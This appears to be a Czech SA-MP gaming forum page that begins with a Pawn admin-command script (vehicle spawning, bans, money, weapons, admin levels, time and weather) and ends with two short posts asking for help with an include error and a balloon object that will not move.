{FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /ac [ ID ] [ BARVA ]"); else if(id<400 || id>611) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /ac [ 400-611 ] [ 0-126 ]"); else if(color<0 || color>126) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /ac [ 400-611 ] [ 0-126 ]"); else { new vehid = -1; for(new v=0; v<MAX_ADMIN_VEHICLES; v++) if(AdminVehicle[v] <= 0) { vehid = v; break; } if(vehid == -1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Je vytvořený maximální počet admin vozidel, použij /acd pro jejich zničení"); else { new Float:x, Float:y, Float:z, Float:x2, Float:y2, Float:a; GetPlayerPos(playerid, x, y, z); GetPlayerFacingAngle(playerid, a); x2 = x + (2.5 * floatsin(-a, degrees)); y2 = y + (2.5 * floatcos(-a, degrees)); AdminVehicle[vehid] = CreateVehicle(id, x2, y2, z+0.5, a+90, color, color, 300); } } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_acd(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else { new vehid = -1; for(new v=0; v<MAX_ADMIN_VEHICLES; v++) if(AdminVehicle[v] > 0) { vehid = v; break; } if(vehid == -1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Není vytvořené žádné Admin Vozidlo"); else { for(new v=0; v<MAX_ADMIN_VEHICLES; v++) if(AdminVehicle[v] > 0) DestroyVehicleEx(AdminVehicle[v]); new string[100]; format(string, sizeof(string), "Administrátor %s zničil všechny admin vozidla !", PlayerName(playerid)); SendClientMessageToAll(COLOR_ADMIN, string); } } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_eramp(playerid, params[]) { new rampid = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /eramp [ ID ]"); else if(rampid<1 || rampid>7) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /eramp [ 1-7 ]"); else { new rampnumber = -1; for(new r=0; r<MAX_RAMPS; r++) if(!IsValidObject(Ramp[r])) { rampnumber = r; break; } if(rampnumber == -1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Je vytvořený maximální počet ramp, použij /erdestroy pro jejich zničení"); else { new Float:x, Float:y, Float:z, Float:a; GetPlayerPos(playerid, x, y, z); if(GetPlayerVehicleID(playerid) == 0) GetPlayerFacingAngle(playerid, a); else GetVehicleZAngle(GetPlayerVehicleID(playerid), a); x += (8.0 * floatsin(-a, degrees)); y += (8.0 * floatcos(-a, degrees)); new ID; switch(rampid) { case 1: ID = 1631; case 2: ID = 1632; case 3: ID = 1634; case 4: ID = 1655; case 5: {ID = 13641; a += 90;} case 6: {ID = 7627; z += 3;} default: {ID = 11011; z += 3; SetPlayerPos(playerid, x, y, z+2.0);} } Ramp[rampnumber] = CreateObject(ID, x, y, z, 0, 0, a); } } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_erdestroy(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else { new rampnumber = -1; for(new r=0; r<MAX_RAMPS; r++) if(IsValidObject(Ramp[r])) { rampnumber = r; break; } if(rampnumber == -1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Není vytvořená žádná rampa"); else { for(new r=0; r<MAX_RAMPS; r++) if(IsValidObject(Ramp[r])) DestroyObject(Ramp[r]); new string[100]; format(string, sizeof(string), "Administrátor %s zničil všechny rampy", PlayerName(playerid)); SendClientMessageToAll(COLOR_ADMIN, string); } } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_eunlock(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else { new string[75]; format(string, sizeof(string), "Administrátor %s odemkl všechny auta", PlayerName(playerid)); for(new v=1; v<MAX_VEHICLES; v++) for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) SetVehicleParamsForPlayer(v, i, 0, 0); SendClientMessageToAll(COLOR_ADMIN, string); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_ban(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor"); else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /ban [ ID ] [ DŮVOD ]"); else if(strlen(params[chrfind(' ',params)+1])>32) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si moc dlouhý důvod, Maximálně 32 znaků "); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš zabanovat NPC hráče"); else { new string[128]; format(string, sizeof(string), "Hráč %s (%d) byl zabanovaný Administrátorem %s (%d) [ Důvod: %s ]", PlayerName(id), id, PlayerName(playerid), playerid, params[chrfind(' ',params)+1]); SendClientMessageToAll(COLOR_ADMIN, string); format(string, sizeof(string), "%s: %s", PlayerName(playerid), params[chrfind(' ',params)+1]); BanEx(id, string); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_player(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor"); else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /player [ ID ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš ovládat NPC hráče"); else { pSaveID[playerid] = id; new string[64]; format(string, sizeof(string),"{ff0000}Player: {ffff70}%s (%d)", PlayerName(id), id); ShowPlayerDialog(playerid, DIALOG_A_PLAYERMENU, DIALOG_STYLE_LIST, string, "Nastavit HP\nNastavit Armour\nKill\nOdzbrojit\nReset Money\nExplode\nDesert man\nVehicle Repair", "Ok", "Zavřít"); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_hp(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else { SendClientMessage(playerid,COLOR_ADMIN,"Uzdravil si se "); SetPlayerHealth(playerid, 100.00000000); SetPlayerArmour(playerid, 100.00000000); if(GetPlayerVehicleID(playerid) > 0) { SetVehicleHealth(GetPlayerVehicleID(playerid), 1000.0); RepairVehicle(GetPlayerVehicleID(playerid)); SendClientMessage(playerid, COLOR_ADMIN, "Opravil sis vozidlo !"); } } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_gm(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor"); else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /gm [ ID ] [ MONEY ]"); else if(strval(params[chrfind(' ',params)+1])>999999999) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Maximální suma kterou můžeš poslat je 999 999 999$ !"); else if(strval(params[chrfind(' ',params)+1])<=0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si neplatnou hodnotu "); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš dát peníze NPC hráčovi"); else { new string[128]; format(string, sizeof(string), "Dal si hráčovi %s %d$ !", PlayerName(id), strval(params[chrfind(' ',params)+1])); SendClientMessage(playerid, COLOR_ADMIN, string); format(string, sizeof(string), "Administrátor %s ti dal %d$ !", PlayerName(playerid), strval(params[chrfind(' ',params)+1])); SendClientMessage(id, COLOR_ADMIN, string); GivePlayerMoney(id, strval(params[chrfind(' ',params)+1])); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_setnick(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor"); else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /setnick [ ID ] [ NICK ]"); else if(strlen(params[chrfind(' ',params)+1])<3 || strlen(params[chrfind(' ',params)+1])>20) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Rozmezí nicku: 3-20 znaků"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš nastavit nick NPC hráčovi"); else { new string[128]; format(string, sizeof(string), "Nastavil si hráčovi %s nick %s !", PlayerName(id), params[chrfind(' ',params)+1]); SendClientMessage(playerid, COLOR_ADMIN, string); format(string, sizeof(string), "Administrátor %s ti zmenil nick na %s !", PlayerName(playerid), params[chrfind(' ',params)+1]); SendClientMessage(id, COLOR_ADMIN, string); SetPlayerName(id, params[chrfind(' ',params)+1]); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_bealone(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor"); else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /bealone [ ID ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš používat tento příkaz na NPC hráčovi"); else { new string[256]; format(string, sizeof(string), "Administrátor %s (%d) poslal hráče %s (%d) do jiného světa !", PlayerName(playerid), playerid, PlayerName(id), id); SendClientMessageToAll(COLOR_ADMIN, string); SetPlayerVirtualWorld(id, 2147041658-playerid); if(GetPlayerVehicleID(id) > 0) SetVehicleVirtualWorld(GetPlayerVehicleID(id), 2147000000-playerid); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_beback(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor"); else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /beback [ ID ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš tento příkaz používat na NPC hráčovi"); else { new string[256]; format(string, sizeof(string), "Administrátor %s (%d) vrátil hráče %s (%d) do normálního světa !", PlayerName(playerid), playerid, PlayerName(id), id); SendClientMessageToAll(COLOR_ADMIN, string); SetPlayerVirtualWorld(id, 0); if(GetPlayerVehicleID(id) > 0) SetVehicleVirtualWorld(GetPlayerVehicleID(id), 0); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_gw(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor"); else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1]) || !strlen(params[chrfind(' ',params,chrfind(' ',params)+1)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použi: /gw [ ID ] [ WEAPON ID ] [ AMMO ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš dat zbran NPC hráčovi"); else if(strval(params[chrfind(' ',params)+1])<0 || (strval(params[chrfind(' ',params)+1])>18 && strval(params[chrfind(' ',params)+1])<22) || strval(params[chrfind(' ',params)+1])>46) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si neplatné ID zbrane ! Použi 0 - 18 alebo 22 - 46 !"); else { new ammo = strval(params[chrfind(' ',params,chrfind(' ',params)+1)+1]); if(ammo < 1 || ammo > 9999) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použi: /gw [ ID ] [ WEAPON ID ] [ 1 - 9999 ]"); else { new string[128]; format(string, sizeof(string), "Dal si hráčovi %s zbraň %s (%d nábojů) !", PlayerName(id), WeaponName(strval(params[chrfind(' ',params)+1]), 0), ammo); SendClientMessage(playerid, COLOR_ADMIN, string); format(string, sizeof(string), "Administrátor %s ti dal zbraň %s (%d nábojů) !", PlayerName(playerid), WeaponName(strval(params[chrfind(' ',params)+1]), 0), ammo); SendClientMessage(id, COLOR_ADMIN, string); GivePlayerWeapon(id, strval(params[chrfind(' ',params)+1]), ammo); if(strval(params[chrfind(' ',params)+1])==39) GivePlayerWeapon(id,40,ammo); if(strval(params[chrfind(' ',params)+1])==40) GivePlayerWeapon(id,39,ammo); } } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_setadmin(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nejsi Majitel Serveru"); else if(pAdminLevel[playerid]<=2) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Majitel Serveru"); else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /setadmin [ ID ] [ ADMIN LEVEL ]"); else if(strval(params[chrfind(' ',params)+1])>5 || strval(params[chrfind(' ',params)+1])<0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Rozmedzie levelov je 0 - 5 !"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš dát Admin-Level NPC hráčovi"); else { new string[256]; format(string, sizeof(string), "Administrátor %s (%d) nastavil hráčovi %s (%d) Administrátora levelu %d !", PlayerName(playerid), playerid, PlayerName(id), id, strval(params[chrfind(' ',params)+1])); SendClientMessageToAll(COLOR_ADMIN, string); pAdminLevel[id] = strval(params[chrfind(' ',params)+1]); new way[64]; format(way, 64, "AS/%s.cfg", PlayerName(playerid)); if(pAdminLevel[playerid] > 0) { if(!fexist(way)) { dini_Create(way); new pass[16]; format(pass, 16, "%s", randompass(8)); dini_Set(way, "password", lyrhash(pass)); new str[128]; SendClientMessage(playerid, 0xFFFFFFFF, "Server ti vygeneroval náhodné heslo které budeš používat pri každém přihlašování"); format(str, 128, "Tvoje heslo: {ff0000}%s{ffffff}, Toto heslo si dobře zapamatuj", pass); SendClientMessage(playerid, 0xFFFFFFFF, str); SendClientMessage(playerid, 0xFFFFFFFF, "Toto heslo si můžeš změnit příkazem{ffff70}/achangepass [ NOVÉ HESLO ]"); } dini_IntSet(way, "adminlevel", pAdminLevel[playerid]); } else if(fexist(way)) fremove(way); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_settime(playerid, params[]) { if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /settime [ HOURS ] [ MINUTES ]"); else if(strval(params)<0 || strval(params)>23 || strval(params[chrfind(' ',params)+1])<0 || strval(params[chrfind(' ',params)+1])>59) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /settime [ 0-23 ] [ 0-59 ]"); else { new string[128]; format(string, sizeof(string), "Administrátor %s nastavil čas na %02d:%02d.", PlayerName(playerid), strval(params), strval(params[chrfind(' ',params)+1])); SendClientMessageToAll(COLOR_ADMIN, string); SetWorldTime(strval(params)); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_setweather(playerid, params[]) { if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /setweather [ WEATHERID ]"); else if(strval(params)<0 || strval(params)>45) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /setweather [ 0-45 ]"); else { new string[128]; format(string, sizeof(string), "Administrátor %s nastavil počasí %d.", PlayerName(playerid), strval(params)); SendClientMessageToAll(COLOR_ADMIN, string); SetWeather(strval(params)); } return 1; } //////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// dcmd_elock(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else { new string[100]; format(string, sizeof(string), "Administrátor %s zamkl všechny auta", PlayerName(playerid)); for(new v=1; v<MAX_VEHICLES; v++) for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) SetVehicleParamsForPlayer(v, i, 0, 1); SendClientMessageToAll(COLOR_ADMIN, string); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_getall(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor"); else { new string[115]; format(string, sizeof(string), "Administrátor %s portl k sobě všechny hráče", PlayerName(playerid)); SendClientMessageToAll(COLOR_ADMIN, string); new Float:x, Float:y, Float:z; GetPlayerPos(playerid, x, y, z); for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) if(!IsPlayerNPC(i)) if(i != playerid) { if(GetPlayerVehicleID(i) == 0) { SetPlayerPos(i, x+1, y, z); SetPlayerVirtualWorld(i, GetPlayerVirtualWorld(playerid)); SetPlayerInterior(i, GetPlayerInterior(playerid)); } else { SetVehiclePos(GetPlayerVehicleID(i), x+3, y, z); SetPlayerVirtualWorld(i, GetPlayerVirtualWorld(playerid)); SetPlayerInterior(i, GetPlayerInterior(playerid)); SetVehicleVirtualWorld(GetPlayerVehicleID(i), GetPlayerVirtualWorld(playerid)); } } } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_freezeall(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor"); else { new string[100]; format(string, sizeof(string), "Administrátor %s zmrazil všechny hráče", PlayerName(playerid)); SendClientMessageToAll(COLOR_ADMIN, string); for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) if(!IsPlayerNPC(i)) if(i != playerid) { TogglePlayerControllable(i, 0); } } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_iamadmin(playerid, params[]) { #pragma unused params if(!IsPlayerAdmin(playerid)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Musíš být přihlášený přes Rcon"); else { pAdminLevel[playerid] = 3; GameTextForPlayer(playerid, "~g~~h~Hotovo", 1000, 5); new way[64]; format(way, 64, "AS/%s.cfg", PlayerName(playerid)); if(!fexist(way)) { dini_Create(way); new pass[16]; format(pass, 16, "%s", randompass(8)); dini_Set(way, "password", lyrhash(pass)); new str[128]; SendClientMessage(playerid, 0xFFFFFFFF, "Server ti vygeneroval náhodné heslo které budeš používat při každém přihlašování"); format(str, 128, "Tvoje heslo: {ff0000}%s{ffffff}, toto heslo si dobře zapamatuj, při jeho strátě už to nepůjde obnovit", pass); SendClientMessage(playerid, 0xFFFFFFFF, str); SendClientMessage(playerid, 0xFFFFFFFF, "Toto heslo si můžeš změnit příkazem {ffff70}/achangepass [ NOVÉ HESLO ]"); } dini_IntSet(way, "adminlevel", 5); } return 1; }
-
Mám jeden velkej problém. Když si dám do složky pawno/include složku YSI s y_ini.inc a do pawna napíšu #include <YSI/y_ini> Tak mi to napíše že C:\Users\Frog\Desktop\SAMP SERVER 2\gamemodes\blablabla.pwn(2) : fatal error 100: cannot read from file: "YSI/y_ini" I když ho tam mám :/ Pls help, řeším to už x hodin... Jo a mimochodem zdravím všechny lidi po tom roce co jsem tu nebyl I když ho tam mám* pardon :DDD
-
Zdravím! Delám si jednoduchej script na pohyb balonu,ale balon furt stojí a nehejbe se. forward CheckObj(); public CheckObj() { new Float:x, Float:y, Float:z; if(GetDynamicObjectPos(balonek, x, y, z)) { if(x == -2608.14600) if(y == -235.46602) if(z == -25.70728) { if(baloneknaspawnu == 0) { baloneknaspawnu = 1; SetTimer("JdiVis", 5000, 0); SendClientMessageToAll(-1, "balon přistal, odléta za 5 vteřin"); } } } else if(GetDynamicObjectPos(balonek, x, y, z)) { if(x == -2640.5615) if(y == -215.1547) if(z == 52.8805) { MoveDynamicObject(balonek, -2608.14600, -235.46602, 25.70728, 25.00); } } return 1; } forward JdiVis(); public JdiVis() { MoveDynamicObject(balonek, -2640.5615,-215.1547, 52.8805, 25.00); baloneknaspawnu = 0; return 1; }